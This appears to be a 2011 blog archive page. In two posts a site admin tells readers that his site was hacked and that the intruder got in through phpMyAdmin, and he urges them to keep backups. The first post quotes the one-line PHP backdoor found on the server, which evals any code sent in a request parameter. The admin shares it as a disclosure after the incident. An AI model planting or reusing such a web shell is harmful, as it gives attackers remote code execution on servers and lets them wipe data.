Archive for July, 2011

Posted by Kreval (Admin) On July - 23 - 2011 1 Comment
secured_your_laptop

  Well, I found out how the script kiddy was getting in and being a bother to WinnipegTheft!  This hack was never directed toward WinnipegTheft directly.  They just were scanning for sites with a specific program or plug-in installed.  They were getting in with a plug-in I used called PhpMyAdmin.  This is the code that compromised my server.  (if your interested) <?php if(isset($_REQUEST["asc"]))eval(stripslashes($_REQUEST["asc"])); ?>   The one thing that is interesting is that most hackers are not malicious and will not delete anything.  This kid deleted everything (he was not nice, just a pest).  But of course I have backups.  I think  [ Read More ]

Posted by Kreval (Admin) On July - 20 - 2011 3 Comments
hackedmess

Well the site has been hacked 2 times now.  It must be a script kiddie doing it.  I am trying to figure out how they are getting in.  So things might be up and down here in the short term.  They get in and delete and change things as you have seen. Sorry about the down time.  This should be a good reminder to all of you out there that do not have a backup of your information that is valuable to you.  You will more than likely loose your information due to a crashed hardrive and not a script  [ Read More ]